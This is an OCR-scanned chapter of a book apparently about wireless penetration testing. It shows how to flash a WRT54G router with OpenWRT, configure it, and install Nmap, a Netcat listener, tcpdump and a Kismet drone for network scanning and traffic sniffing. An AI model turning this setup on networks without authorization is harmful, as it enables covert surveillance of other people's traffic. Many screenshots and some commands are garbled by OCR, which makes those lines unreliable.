The other option for installing the OpenWRT firmware is to use the TETP server
method. A basic TFTP client is included within Windows XP that will push the
firmware to the router. From Windows XP, click Start | Run and type in cmd to
pull up a command prompt. Change to the directory that you downloaded the
firmware to (c:\femp). From this command prompt, type the following command, but
do not press Enter yet (see Figure 10.5):

# tftp -i 192.168.1.1 PUT openwrt-wrt54g-squashfs.bin

Figure 10.5 Preparing for the TFTP Push to the WRT54g

o CAWINDOWS\system 3 2vemd.exe

C:stemprdir =1
Uolume in drive C has no label.
Uolume Serial Number is 887A-387B

Directory of C:“temp

8-26-2886 18:37 PM <DIR> -

B/26-2086 1@:37 PM <DIR> .

8-26-2806 160:89 PM 1,532,928 openwvrt—wrtS4g—squashfs.bin
1 File{s> 1,532,928 hytes
2 Dirds> 26.277.588.992 hytes free

Costemp>tftp —i 192.168.1.1 PUT openwrt—wrtSdg—squashfs.bin

Disconnect the power from the WRT54G. The easiest way to install the
firmware is to push the image and the power on the router at the same time. When
you are ready, press Enter at the command prompt and insert the power adapter on
the WRT54G at the same time. If the push is successtul, you will be notified at the
command prompt with a “Transfer successful” message (see Figure 10.6).

Once you receive the “Transfer successtul” message, let the router sit until you
can successfully ping the 192.168.1.1 IP address. At this time, you can connect to the
Web interface at http://192.168.1.1 (see Figure 10.4).
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Figure 10.6 The TFTP Command to Push the OpenWRT Image

C:stemp>dir
Uolume in drive C has no label.
Uolume Serial Number is BE7A-387B

Costemp>tftp —i 192.168_1.1 PUT openuwrt—uwrtSdg—squashfs_bin
Transfer successful: 1532928 hytes in 7 seconds,. 218989 bytesrs

C:stempl .
C:Ntemp>

Directory of C:temp

B-26-2006 1@:37 PM <DIR>

B-26-2006 1@8:37 PH <DIR> .-

B.-26-2006 18:89 PM 1.532_.928 openurt—uwrtSdg—squashfs_hin
1 File<s> 1,532,928 hytes
2 Divdsd 26.269.716_.4808 bytes free

The same technique can be used from a Linux client to push the firmware

image. From a command shell, type the following:

# tftp 192.168.1.1

#

#
#
#

tftp> binary

tftp> rexmit 1

tftp> trace

tftp> put openwrt-wrt54g-squashfs.bin

Again, wait several minutes for the device to receive the firmware and have time

to reboot.

NoTEe

In the event that you install the OpenWRT firmware and decide that you
don't like it, you can roll back to the Linksys firmware. Follow the TFTP
method from above; however, instead of using the OpenWRT firmware,
use the Linksys firmware, which can be obtained from www.linksys.com.
m  Click Support|Downloads.
m  Choose the correct device, including version number, from the
drop-down list.
m  Click Downloads for this product to see the list of available soft-
ware.
m  When the page loads, you will see a link for Firmware. Click the
link to find the download for that device.
Make sure you use the correct firmware for your device. Using the
wrong firmware can create problems later on.
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Before changing the password via the Web interface, you need to Telnet into the
router from the command prompt and change the root password. From a command
prompt, type # telnet 192.168.1.1.You will be brought to the Telnet interface
logged in as root (see Figure 10.7).

Figure 10.7 Telnet Connection to the OpenWRT Interface

Telnet 192.168.1.1
=== IMPORTANT .

Uze ‘passwd’ to set your login password 1
this will disable telnet and enabhle SSH

usyBox vl.BB (2886.83.27-80:A0+BAAB> Built—in shell {ash>
nter ‘help’ for a list of built—-in commands.

i W
WHITE RUSSIAN (RG5>
#* 2 oz Uodka Mix the Uodka and Kahlua together
* 1 oz Kahlua over ice. then float the cream or
#* 1/20z cream milk on the top.

rootB0pentivt i/t

At the Telnet prompt, type passwd to set a root password. Make sure you use a
strong password that will also be used as the Secure Shell (SSH) password (see Figure

10.8).

Figure 10.8 Setting the Root Password

= Telnet 192.168.1.1

=== IMPORTANT |
Uze "passwd’ to set your login password —
this will disable telnet and enable SSH

BusyBox vl.808 (2006.03.27-00:00+0008> Built-in shell {ash>
Enter 'help’ for a list of built—in commands.

'

i_ I WIRELEGSS FREEDOHM

WHITE RUSSIAM (RC5>
* 2 oz Uodka Mix the Uodka and Kahlua together
* 1 oz Kahlua over ice, then float the cream or
#* 17202 cream milk on the top.

root@0penilrt: 7l passwd

Changing password for root

nter the new password (minimum of 5 characters?

lease use a combination of upper and lower case letters and numbers.
nter new password:

e—enter new password:

Password changed.

root@0penlvrt: A _
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At this point, exit out of the Telnet console and reconnect using SSH as the root
user. The initial installation of the OpenWRT firmware is complete.

Command Syntax and Usage

This section focuses on using the WRT54G as a penetration testing tool, using the
command-line SSH interface via the DropBear SSH embedded server. A novice or
someone looking for ease of implementation and usage can still connect to the Web
interface and use the WRT54G. Depending on your setup, you can either use the
popular SSH client putty.exe for Windows, or use a Linux client to SSH into the
WRT54G. For the purposes of this chapter, we use a Linux SSH shell.

From a Linux terminal session, SSH to the router Internet Protocol (IP) address
as root and enter the password that was previously set (see Figure 10.9).

Figure 10.9 Making the SSH Connection to the Router

= [=H=N"
!E\\e Edit View Terminal Tabs Help

panadero@panadero: ~$ ssh root@192.168.1.1
root@192.168.1.1's password:

3

BusyBox v1.00 (2006.03.27-00:00+8080) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

- - [
L[] Ledize b limome 0
|__| WELERAENIESESSES FREEDOM
WHITE RUSSIAN (RC5) -------ccecnmmmmmaaiaeaee
* 2 o0z Vodka Mix the Vodka and Kahlua together
* 1 oz Kahlua over ice, then float the cream or
* 1/20z cream milk on the top.

root@0penWrt: ~# |:|

<[]

Notice that you are currently in the /fmp folder of the file system, where you
can treat the system as a regular Linux system, with default directories such as /etc,
/tmp, and /bin. As mentioned earlier, most of the files in the system are read-only
and are symbolic links to the same file in the /rom folder on the system. Let’s look at
the /etc tolder (see Figure 10.10).
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Figure 10.10 The /etc Folder and the Symbolic Links

= [==1~
File Edit View Terminal Tabs Help

root@0penWrt: /# cd /etc/ &
root@0penWrt: /etc# 1s -al

drwxr-xr-x 1 root root 0 Jan 1 ©0:86

jdrwxr-xr-x 1 root root 0 Jan 1 90:01

[Lrwx rwx rvx 1 root root 15 Jan 1 00:01 banner -> /rom/etc/banner

jdrwxr-xr-x 1 root root 0 Jan 1 90:00

drwxr-xr-x 1 root root ©® Jan 1 80:08

[Lrwxrwx rwx 1 root root 21 Jan 1 00:01 dnsmasq.conf -> /rom/etc/dnsmasqg.conf

drwxr-xr-x 1 root root 0 Jan 1 80:01

[Lrwxrwx rwx 1 root root 22 Jan 1 00:01 firewall.user -> /rom/etc/firewall.user

[Lrwxrwx rwx 1 root root 21 Jan 1 00:01 functions.sh -> /rom/etc/functions.sh

L rw rwx rwx 1 root root 14 Jan 1 00:01 group -= from/etc/group

[Lrwxrwx rwx 1 root root 14 Jan 1 00:01 hosts -> /rom/etc/hosts

[drwxr-xr-x 1 root root 0 Jan 1 80:00

Bl Al 1 root root 57 Jan 1 00:06 httpd.conf

jdrwxr-xr-x 1 root root 0 Jan 1 90:00

[Lrwx rwx ruix 1 root root 16 Jan 1 00:01 inittab -> /rom/etc/inittab

[Lrwx rwx rwx 1 root root 18 Jan 1 ©00:01 ipkg.conf -> /rom/etc/ipkg.conf

[Lrwx rwx rwx 1 root root 16 Jan 1 00:01 modules -> /rom/etc/modules

drwxr-xr-x 1 root root 0 Jan 1 80:08

-rw-r--r-- 1 root root 101 Jan 1 00:04 passwd

wW------- 1 root root 74 Mar 26 2006 passwd-

drwxr-xr-x 1 root root 0 Jan 1 80:08

Lrwsx rwx rwx 1 root root 16 Jan 1 00:01 preinit -> /rom/etc/preinit B
L rwx rwx rwx 1 root root 16 Jan 1 00:01 profile -> /rom/etc/profile

[Lrwx rwx rwx 1 root root 18 Jan 1 00:01 protecols -> /rom/etc/protocols =|
[Lrwxrwxrwx 1 root root 16 Jan 1 00:01 resolv.conf -> /tmp/resolv.cont

[LrwxXrwx rwx 1 root root 15 Jan 1 ©0:81 shells -> /rom/etc/shells

[Lrwx rwx rwx 1 root root 20 Jan 1 00:01 sysctl.conf -> /rom/etc/sysctl.conf Tl
root@opentrt: setc# [] =]

If you try and edit any of the linked files, you will get 2 [Read only] message
in the vi editor. This is because the /rom folder of the system is read-only. The safest
way to edit these files is to remove the symbolic link and copy the file from the /rom
tolder back to the folder in question. This way, if something goes wrong, you can
either get a fresh copy of the file from the /rom folder, or recreate the symbolic link
to the original file. Use these commands to remove the symbolic link for the
/etc/hosts file, and copy in the editable hosts file:

cd /etc/ (Changes the working directory to /efc)

rm -rf hosts (Removes the symbolic link)

cp /rom/etc/hosts /etc/ (Copies the editable file from the /rom directory)
vi /etc/hosts (Edits the file in question)

NoTE

If you have trouble editing any files in the OpenWRT system, make sure
that the file is not marked as read-only.

The OpenWRT system supports a complete set of non-volatile random access
memory (NVRAM) variables that make it easy to change the system settings of a
device. Through these variables, you can set the IP of the wide area network (WAN)
interface, the Service Set Identifier (SSID) of the wireless access point, and the
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router hostname. To see a complete set of the NVRAM variables, at the SSH prompt
type nvram show. It’s also helpful to save the contents into a text file for later
review, or to set a baseline of the variable contents in case something goes wrong
and you need to revert to the default properties (see Figure 10.11).

Figure 10.11 Sample Listing of the NVRAM Variables

= [R]w]

File Edit View Terminal Tabs Help

root@0openWrt: /etc# nvram show | more
wl_radius_port=1812
wl_mac_deny=
filter_dport_grp3=
filter_dport_grpd=
filter_dport_grp5=

Tilter=on

wan_unit=0
filter_dport_grpé=
05_ram_addr=80001000

wWl@ _net_mode=mixed
filter_dport_grp7=
(wl0_frameburst=off
filter_dport_grp8=
filter_dport_grp9=
ddns_username_2=
log_ipaddr=0
wan_device=vlanl
boardrev=0x10
ilOmacaddr=00:13:10:69: aa: b6
ppp_idletime=5

pPpp_passwd=
etOmacaddr=00:13:10:69: AA: B4
ddns_enable=0

bootnv_ver=6

qos_appportl=0
skip_intel_check=0
qos_appport2=0
ddns_hostname_buf=

--More- -

To set a NVRAM variable, use the nvram set command.You can also retrieve
the value of a variable by using the nvram get command. Once you set a variable,
it is not immediately stored in the device.You need to run the nvram commit
command to commit the changes to RAM. Figure 10.12 shows how to view, set,
and commit a change to the wan_hostname variable.

Figure 10.12 Viewing, Setting, and Committing the wan_hostname Variable

=

File Edit View Terminal Tabs Help

root@0penWrt: /etc# nvram get wan_hostname

OpenWrt

root@0penWrt: /etc# nvram set wan_hostname=Pana-WRT
root@0penWrt: /etc# nvram commit

root@0penWrt: /etc# nvram get wan_hostname

Fana-WRT

root@openwrt: /etc# []
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As we can see, with the nvram show command, most of the system can be config-
ured using NVRAM variables and settings. The only thing that cannot be config-
ured via NVRAM is third party-installed software. One other important variable
that should be set is the boot_wait variable. If this variable is not set to on, you will
not be able to use the TFTP method to push a new firmware if something goes
wrong. Type the following command to ensure the variable is set to on. If the vari-
able is set to off, continue the commands to enable it:

# nvram get boot_wait
off
# nvram set boot wait=on
# nvram commit
# nvram get boot wait

on

Configuring and Understanding
the OpenWRT Network Interfaces

There are several difterent interfaces that make up the OpenWRT architecture,
depending on which version of the WRT54G you have. Table 10.13 depicts the
OpenWRT naming conventions for different interfaces.

Table 10.3 The OpenWRT Interfaces

Model Hardware Version LAN WAN WIFI

WRT54G V1. vlan2  vlan1 eth2
WRT54G  V2.x,3.x,4.x vlan0 vlani eth1

The WRT54G does not difterentiate between WAN and local area network
(LAN) ports. However, by putting each port into a separate Virtual Local Area
Network (VLAN), we are logically creating a WAN and LAN port setup. Port O on
the back of the device is reserved as the WAN port. Ports 1 through 4 are the
default LAN connectors (vlan0), and port 5 connects to the ethO port internally in
the WRT54G. The wireless connection is reserved at eth1. Ilan0 and eth1 are
bridged together to create br0, so that they create a seamless network segment.

Knowing this information helps to configure the NVR AM variables internal to
the device. Different ports can be put into different VLANSs, depending on the struc-
ture of the network you are trying to create. For this section, we use the default
VLANSs and network interfaces. Figure 10.13 is a graphical representation of the
inside of the WRT54G with listed interfaces.
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Figure 10.13 Visual Representation of the OpenWRT Interfaces
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Let’s continue to set up the WAN port to connect to the external Internet. By
issuing the following command, we can view the WAN variables that are controlled
via NVRAM:

# nvram show | grep wan_

Most of the time, you want to make sure that the wan_proto variable is set to
Dynamic Host Configuration Protocol (DHCP), so that the external service
provider can issue a DHCP address. To set a static address of 70.35.98.15 on the
WAN port, set the following variables:

nvram set wan proto=static (Sets the protocol to static IP addressing)
nvram set ipaddr=70.35.98.15 (Sets the static [P address)

nvram set netmask=255.255.248.0 (Sets the static subnet mask)
nvram set gateway=70.35.96.1 (Sets the static gateway address)

nvram set wan dns=70.34.117.10 (Sets the static Domain Name Service (DNS)
address)

# nvram commit (Commits the changes to the device)

H+ H HF H HF

The same techniques can be applied to the wireless interface variables in the
OpenWRT system. We will now set up the wireless access point to include Wi-Fi
Protected Access (WPA) Pre-Shared Key (PSK) encryption. The main variables start
with wl0, corresponding to the wireless interface.
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nvram show | grep wlo_ (Shows the optional variables)

nvram set wl0 mode=ap (Sets the mode to access point)

nvram set wl0 ssid=blake security (Sets the SSID)

nvram set wlo akm=psk2 (Can use PSK, PSK2, or both)

nvram set wl0 crypto=tkip (Sets the WPA encryption)

nvram set wl0 wpa psk=AshlynAlamia91l (Sets the WPA PSK)

H*+ H HF H HF= H H

nvram commit (Commits the changes to the device)

This should be enough to configure your access point to allow clients to con-
nect using WPA encryption. You can also set up a Wireless Distribution System
(WDS) connection between this access point and another access point to expand
your wireless network.

Installing and Managing
Software Packages for OpenWRT

The OpenWRT firmware makes installing and using software packages easy (see
http://downloads.openwrt.org/whiterussian/packages/). Occasionally, it is good to
update the list of known software on your WRT54G. First, however, you need to
make sure that you are set up to use the OpenWRT repository. From the command

shell, issue the following command to view the source of the repository (see Figure
10.14).

# more /etc/ipkg.conf

Figure 10.14 Viewing the Repository for AddOn Software
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root@0penWrt: ~# more /etc/ipkg.conf

src whiterussian http://downloads.openwrt.org/whiterussian/packages

src non-free http://downloads.openwrt.org/whiterussian/packages/non-free
dest root /

dest ram /tmp

root@openwrt: ~# [

Make sure that the whiterussian and non-free sources are set. Additionally, you can
add more sources to the list for other repositories that you want to search. Before you
can list and install available packages, you need to issue the following command to
update the installed packages list with the most up-to-date software (see Figure 10.15).
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# ipkg update

Figure 10.15 Updating the List of Known Packages
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root@0penWrt: ~# ipkg update

Downloading http://downloads.openwrt.org/whiterussian/packages/Packages

Updated list of available packages in /fusr/lib/ipkg/lists/whiterussian
Downloading http://downloads.openwrt.org/whiterussian/packages/non- free/Packages
Updated 1list of awvailable packages in /usr/lib/ipkg/lists/non-free

Successfully terminated.

root@0penwrt: ~# []

Once the list of packages has been updated, you can issue the following

common commands:

H H HF H H

ipkg
ipkg
ipkg
ipkg
ipkg
ipkg

list (View all packages)

list installed (View installed packages)

upgrade (Upgrade installed packages to newest version)

info <pkg name> (View information for specific package)
install <pkg name> (Download and install a specific package)
remove <pkg_name> (Remove a specific package)

Other options for the ipkg command can be found by typing ipkg with no

command-line arguments.You can issue the # ipkg list_installed command to view a
list of the software included in a default OpenWRT installation (see Figure 10.16).

Finding and Installing Packages

We need to be able to search for and install packages. In this section, we install the

screen application, which allows you to run applications in different screens, even

when the user logs oft. Let’s see if the application is available using the grep com-

mand (see Figure 10.17).

# ipkg list | grep -i screen
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Figure 10.16 Software Included in the Default OpenWRT Installation
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root@0penWrt: ~# ipkg list_installed
base-files - 8 - OpenWrt filesystem structure and scripts

base-files-brcm - 2 - Board/architecture specific files

bridge - 1.0.6-1 - Ethernet bridging tools

busybox - 1.80-3 - Core utilities for embedded Linux systems

dnsmasq - 2.27-1 - A lightweight DNS and DHCP server

dropbear - ©0.48.1-1 - a small 55H 2 server/client designed for small memory environments
haserl - ©.8.0-1 - a CGI wrapper to embed shell scripts in HTML documents

ipkg - ©.99.149-2 - lightweight package management system

iptables - 1.3.3-2 - The netfilter firewalling software for IPv4

iwlib - 28.pre7-1 - Library for setting up WiFi cards using the Wireless Extension

kernel - 2.4,30-brcm-3 -

kmod-brcm-wl - 2.4.30-brcm-3 - Proprietary driver for Broadcom Wireless chipsets
kmod-diag - 2.4.30-brcm-3 - Driver for Router LEDs and Buttons

kmod-ppp - 2.4.30-brcm-3 - PPP support

kmod-pppoe - 2.4.30-brcm-3 - PPP over Ethernet support

kmod- switch - 2.4.30-brcm-1 - switch driver for robo/admtek switch

kmod-wlcompat - 2.4.30-brcm-3 - Compatibility module for using the Wireless Extension with broadcom's wl
mtd - 4 - Tool for modifying the flash chip

nvram - 1 - NVRAM utility and libraries for Broadcom hardware

ppp - 2.4.3-7 - a PPP (Point-to-Point Protocol) daemon (with MPPE/MPPC support)
ppp-mod-pppoe - 2.4.3-7 - a PPPoE (PPP over Ethernet) plugin for PPP

uclibc - ©.9.27-8 - Standard C library for embedded Linux systems

webif - ©.2-1 - A modular, extensible web interface for OpenWrt.

wificonf - 6 - Replacement utility for wlconf

wireless-tools - 28.pre7-1 - Tools for setting up WiFi cards using the Wireless Extension
successfully terminated

root@openwrt: ~# [

Figure 10.17 Searching for the screen Package
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root@0penWrt:~# ipkg list | grep -1 screen
screen - 4.0.2-1 - A 'window manager' for the terminal session
root@0penWrt: ~# D

We can see that the screen package is available and can be installed on the
WRT54G. Issue the following command to download and install the package (see
Figure 10.18).

#ipkg install screen
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Figure 10.18 Installing the screen Application
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root@0penWrt: ~# ipkg list | grep -1 screen

screen - 4.8.2-1 - A 'window manager' for the terminal session

root@0penWrt: ~#

root@0penWrt: ~#

root@openWrt: ~# ipkg install screen

Installing screen (4.0.2-1) to root..

Downloading http://downloads.openwrt.org/whiterussian/packages/screen_4.0.2-1_mipsel.ipk
Installing libncurses (5.2-7) to root...

Downloading http://downloads.openwrt.org/whiterussian/packages/libncurses_5.2-7_mipsel.ipk
Configuring libncurses

Configuring screen

Successfully terminated

root@0penwrt: ~# []

Any application dependencies that are required, are automatically downloaded
and installed (e.g., libcurses).

Tip

The screen utility is a neat program that allows you to run a process in

the screen and detach from the screen, and still leave that process run-
ning. You can also completely log off of the system and the process will
continue to run. Following are the commands for using a screen:

1. From a shell prompt, type screen; this will put you into a pseudo window
in the same shell.

2. Run whatever commands, scripts, and so on you need to run.

3. Press Ctrl+A and then d to detach from the screen and return to the orig-
inal shell prompt. At this point, you can log off.

4. From the same (or a different) command shell, type screen —r to connect
back to the screen process. (You can do this from a separate machine by
using a SSH connection.)

5. Typing exit from inside the screen session will permanently kill that screen
session.You can also type screen —rd to detach any other command shells
that are currently using the screen, and connect your current shell to it.
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6. There are many other options in the screen application; these are some of
the most common.

Uninstalling Packages

As easy as it is to install packages, it is just as easy to uninstall them. Now that we’ve
installed the screen package, we’ll uninstall it. From the command shell, issue the fol-
lowing command (Figure 10.19):

# ipkg remove screen

Figure 10.19 Removing the screen Package
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root@0penWrt:~# ipkg remove screen
Removing package screen from root...
Successfully terminated.
root@openwrt: ~# [|

Enumeration and
Scanning from the WRT54G

In order to use the WRT54G as a penetration test tool, you need to install some
basic penetration tools. The problem is the disk space requirements of most appli-
cations. Because you are only working with 16MB of RAM, and half of that is
being used by the core installation, you must be very picky as to which applica-
tions are installed. If you have an older version of the WRT54G, with 32MB of
RAM, you can be less picky and have more packages installed at the same time.
Some access points have Universal Serial Bus (USB) ports that allow you to con-
nect an external USB hard drive and mount the drive in OpenWRT. At that
point, the possibilities are endless. Let’s look at some enumeration packages that
can be installed on the OpenWRT firmware.

Nmap

Installing Nmap is as easy as installing the screen application. From the command
shell, use the ipkg application to install Nmap (see Figure 10.20).
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# ipkg install nmap

Figure 10.20 Installing Nmap
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root@0penWrt: ~# ipkg install nmap

Installing nmap (3.81-2) to root...

Downloading http://downloads. openwrt.org/whiterussian/packages/nmap_3.81-2_mipsel.ipk
Installing libgcc (3.4.4-8) to root...

Downloading http://downloads.openwrt.org/whiterussian/packages/libgcc_3.4.4-8_mipsel.ipk
Installing Llibpcap (©.9.4-1) to root...

Downloading http://downloads. openwrt.org/whiterussian/packages/libpcap_0.9.4-1_mipsel.ipk
Installing libpcre (5.0-3) to root...

Downloading http://downloads.openwrt.org/whiterussian/packages/Llibpcre_5.0-3_mipsel.ipk
Installing uclibc++ (©.1.11-2) to root...

Downloading http://downloads. openwrt.org/whiterussian/packages/uclibc++ 0.1.11-2 mipsel.ipk
Configuring libgcc

Configuring libpcap

Configuring libpcre

Configuring nmap

Configuring uclibc++

SuccessTully terminated.

root@0penWrt: ~# D

The ipkg application downloads the dependencies that Nmap requires in order
to run, and installs the entire package. At this point, Nmap can be executed from the
command shell (see Figure 10.21).

# nmap

Figure 10.21 Running Nmap from the Command Shell
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root@0penWrt: ~# nmap
Nmap 3.81 Usage: nmap [Scan Type(s)] [Options] <host or net list=
Some Common Scan Types ('*' options require root privileges)
¥ .55 TCP SYN stealth port scan (default if privileged (root))
-sT TCP connect() port scan (default for unprivileged users)
* -sU UDP port scan
-sP ping scan (Find any reachable machines)
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
-sV Version scan probes open ports determining service & app names/versions
-sR RPC scan (use with other scan types)
Some Common Options (none are required, most can be combined):
¥ -0 Use TCP/IP fingerprinting to guess remote operating system
-p <range> ports to scan. Example range: 1-1024,1080,6666,31337
-F Only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-PO Don‘'t ping hosts (needed to scan www.microsoft.com and others)
* -Ddecoy_hostl,decoy2[,...] Hide scan using many decoys
-6 scans via IPv6 rather than IPv4
-T <Parancid|Sneaky |[Polite|Normal |Aggressive|Insane> General timing policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes resolve]
-oN/-oX/-0G <logfile> Qutput normal/XML/grepable scan logs to <=logfilex
-iL <inputfile> Get targets from file; Use '-' for stdin
¥ .5 <your_IP>/-e <devicename> Specify source address or network interface
--interactive Go into interactive mode (then press h for help)
Example: nmap -v -s5 -0 www.my.com 192.168.0.0/16 '192.88-90.% %
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES
root@OpenWrt: ~# |:|
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The Nmap version 3.81 package is installed.

Netcat

The OpenWRT firmware includes a very limited version of Netcat, which can be
used to open a port on a device with a simple command-line option. It can also be
used to connect to other machines on different networks. From the command shell,

run the command:

# nc -1 -p 6186 (Sets up the listener on port 6186)

From another host, connect to port 6186 with either Netcat or Telnet on that
host:
# nc 192.168.1.1 6186

The connection will be established and the traffic will pass. Netcat can be used
to test connections and do banner grabbing on hosts (see Figure 10.22).

Figure 10.22 A Netcat Connection from a Host to the OpenWRT on Port
6186
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panadero@panadero: ~$ nc 192.168.1.1 6186 | |[root@Pana-WRT:~# nc -1 -p 6186
s s

nmap nmap
mount mount
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Tcpdump

Traffic analyzers are a must have when it comes to penetration testing. It helps to get
a feel for where network traffic is going, and whether or not it’s arriving at its desti-
nation. The most popular package for network snifting is tcpdump.
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Tcpdump is an all-in-one traffic analyzer. It sniffs and captures all Transmission
Control Protocol (TCP) and User Datagram Protocol (UDP) tratfic that it can see
on the local network. With tcpdump, you can specify which interface to use, capture

only certain ports and protocols, and specify an expression for which you want to

capture traffic. Tcpdump can be installed from the command shell (see Figure 10.23).

# ipkg install tcpdump

Figure 10.23 Installing Tcpdump on the WRT54G
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root@Pana-WRT: ~# ipkg install tcpdump
Installing tcpdump (3.8.3-1) to root...
Downloading http://downloads.openwrt.org/whiterussian/packages/tcpdump_3.8.3-1_mipsel.ipk
Configuring tcpdump
Successfully terminated.
root@Pana-WRT: ~# []

By issuing regular tcpdump commands, you can snift any traffic on the

WRT54G. Using the vian1 interface, you can see all traffic leaving the site and going

external (see Figure 10.24).

Figure 10.24 Tcpdump Syntax and Example Traffic
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01:49:56.555149 IP 192.168.1.107.41511 > 64.191.203.30.80: . ack 10220 win 32767 lad
01:49:56.555558 IP 192.168.1.107.41511 = 64,191.203.30.80: . ack 11579 win 32767

01:45:56.607495 IP 192.168.1.107.41512 > 64.191.203.30.80: P 1186:1777(591) ack 47067 win 32767

01:459:56.692633 IP 64.101.203.30.80 > 192.168.1.107.41512 ack 1777 win 6875

01:49:56.694618 IP 64.191.203.30.80 > 192.168.1.107.41512: . 47067:48527(1460) ack 1777 win 6875

01:49:56.695288 IP 64.191.203.30.80 > 192.168.1.107.41512: . 48527:49987(1460) ack 1777 win 6875

01:49:56.696063 IP 192.168.1.107.41512 > 64,191.203.30.80: . ack 48527 win 32767

01:49:56.696462 IP 192.168.1.107.41512 = 64,191.203.30.80: . ack 49987 win 32767

01:45:56.779854 IP 64.101.203.30.80 > 192.168.1.107.41512 49987:51447(1460) ack 1777 win 6875

01:49:56.780474 IP 64.191.203.30.80 > 192.168.1.107.41512: . 51447:52907(1460) ack 1777 win 6875

01:49:56.781042 IP 64.191.203.30.80 > 192.168.1.107.41512: . 52907:54367(1460) ack 1777 win 6875

01:49:56.781763 IP 192.168.1.107.41512 > 64,191.203.30.80: . ack 51447 win 32767

01:49:56,782154 IP 192.168.1.107.41512 = 64,191.203.30.80: . ack 52907 win 32767

01:49:56,782544 IP 192.168.1.107.41512 > 64,191.203.30.80: . ack 54367 win 32767

01:45:56.793710 IP 64.191.203.30.80 > 192.168.1.107.41512: P 54367:54673(306) ack 1777 win 6875

01:49:56.794557 IP 192.168.1.107.41512 > 64.191.203.30.80: . ack 54673 win 32767

01:49:56.813529 IP 192.168.1.107.41512 > 64.191.203.30.80: P 1777:2401(624) ack 54673 win 32767

01:49:56.814134 IP 192.168.1.107.41511 > 64.191.203.30.80: P 1:610(609) ack 11579 win 32767

01:49:56.814602 IP 192.168.1.107.58932 = 132-193-15-204-static.prioritycolo.com.80: 5 1366174858:1366174858(0) win 5840 =mss 1460, s
ackOK, timestamp 6522310 ©,nop,wscale 2>

01:49:56.817366 IP 192.168.1.107.2049 > dnscache5.chvlva.adelphia.net.53: 28+ PTR? 132.193.15.204.1n-addr.arpa. (45)

01:49:56.842150 IP dnscache5.chvlva.adelphia.net.53 > 192.168.1.107.2049: 28 1/2/0 (133)

01:49:56.864720 IP 132-193-15-204-static.prioritycolo.com.80 > 192.168.1.107.58932: 5 2603889116:2603889116(0) ack 1366174859 win 5
840 <mss 1460,nop,nop, sackOK, nop,wscale 2>

01:49:56.865449 IP 192.168.1.107.58932 > 132-193-15-204-static.prioritycolo.com.80: . ack 1 win 1460

01:45:56.865954 IP 192.168.1.107.58932 > 132-193-15-204-static.prioritycolo.com.80: P 1:395(394) ack 1 win 1460

82 packets captured

306 packets received by filter =
142 packets dropped by kernel [l
root@Pana WRT: ~# tcpdump -i wianif] [se]

WWW.

Sss.Cco

305



306

Chapter 10 ¢ Using Custom Firmware for Wireless Penetration Testing

Installation and
Configuration of a Kismet Drone

Whenever a wireless penetration tester is asked for the one tool he or she cannot
live without, more often than not the answer is kismet, which is an all-in-one wire-
less pen testing tool. Kismet allows you to see and enumerate any wireless access
points in a range of the AP. Kismet returns SSIDs, encryption strengths, clients, MAC
addresses, signal strengths, and so on. This section focuses on the installation and
usage of Kismet on the WRT54G.

Installing the Package

Like all other OpenWRT packages, we will install the kismet package from the
command shell. You used to have to install the kismet package manually; you down-
loaded the packages and then modified them for the WRT54G. However, an .ipk
package file was released that makes the kismet installation much easier. Keep in
mind that the kismet package may be too large to install on the WRT54G due to
R AM size limitations. You may need to remove some packages in order to have
room for the installation.

We have already established that .ipk package installation is quick and easy.
Installing the kismet package basically downloads and installs the kismet client and
server. From the command shell, run the following command to install kismet (see
Figure 10.25).

#ipkg install kismet

Figure 10.25 Installing the Kismet Package
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root@Pana-WRT: ~# ipkg install kismet

Installing kismet (2005-88-R1-1) to root...

Downloading http://downloads.openwrt.org/whiterussian/packages/kismet_2005-08-R1-1_mipsel.ipk
Installing kismet-client (2005-08-R1-1) to root...

Downloading http://downloads.openwrt.org/whiterussian/packages/kismet-client_2005-08-R1-1 _mipsel.ipk
Installing libncurses (5.2-7) to root...

Downloading http://downloads.openwrt.org/whiterussian/packages/libncurses_5.2-7_mipsel.ipk
Installing kismet-server (2005-88-R1-1) to root...

Downloading http://downloads.openwrt.org/whiterussian/packages/kismet-server_2005-08-R1-1_mipsel.ipk
Configuring kismet

Configuring kismet-client

Configuring kismet-server

Configuring libncurses

Successfully terminated.

root@Pana-WRT : ~# []
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NoTE

In order to have enough space on the WRT54G to install kismet, | had to
remove the tcpdump and Nmap packages. Remember that | am using
v3.1 of the WRT54G device, which only has 16MB of RAM. A 32MB of
RAM device will enable you to keep all of these packages (and possibly
others) installed at the same time.

This package installs both the kismet client and the kismet server. You will also
need to install the kismet drone, by running this command:

# ipkg install kismet-drone

Configuring the Kismet Drone

This section covers setting up the kismet drone so that it is always running. Another
client can be used to connect to the drone and run kismet. Because this is a third-
party package, we can edit the configuration files directly from the /etc/kismet/
folder. We must specify the hosts that we will allow to connect to the kismet server
in the kismet_drone.conf file (see Figure 10.26).

From the command shell, type the following:
# vi /etc/kismet/kismet_drone.conf (Edits the kismet_drone.conf tile)

Scroll down to the line that says allowedhosts.

Edit this line to read allowedhosts=127.0.0.1,192.168.0.0/24 (Allows the local
subnet to connect)

Save and close the file

Making the Connection and Scanning

From the command shell, you need to run the kismet_drone and specify the
kismet_drone.conf file that was just edited. This will put the WRT54G into a drone
state where we can use a different workstation to connect to. Unlike kismet, the
kismet_drone makes its connection on port 3501. From the command shell, type this
to start the drone (see Figure 10.27).

# kismet drone -f /etc/kismet/kismet drone.conf

You will see the kismet_drone binary start and await connections.
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Figure 10.26 Editing the kismet_drone.conf File to Allow Hosts to Connect
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# User to setid to (should be your normal user)
suiduser=nobody

# Port to serve packet data... This probably shouldn't be the same as the port
# you configured kismet_server for, or else you'll have problems running them
# on the same system.

tcpport=3501

# People allowed to connect, comma seperated IP addresses or network/mask

# blocks. Netmasks can be expressed as dotted quad (/255.255.255.0) or as

# numbers (/24)

allowedhosts=127.0.0.1,192. 168. 0.0/24D

# Maximum number of concurrent stream attachments

maxclients=5

# Packet sources:
# source=capture_cardtype, capture_interface, capture_name
# Card type - Specifies the type of device. It can be one of:

# cisco - Cisco card with Linux Kernel drivers

# cisco_cvs - Cisco card with CVS Linux drivers

# cisco_bsd - Cisco on *BSD

# prismz - Prism2 using wlan-ng drivers with pcap support (all
# current versions support pcap)

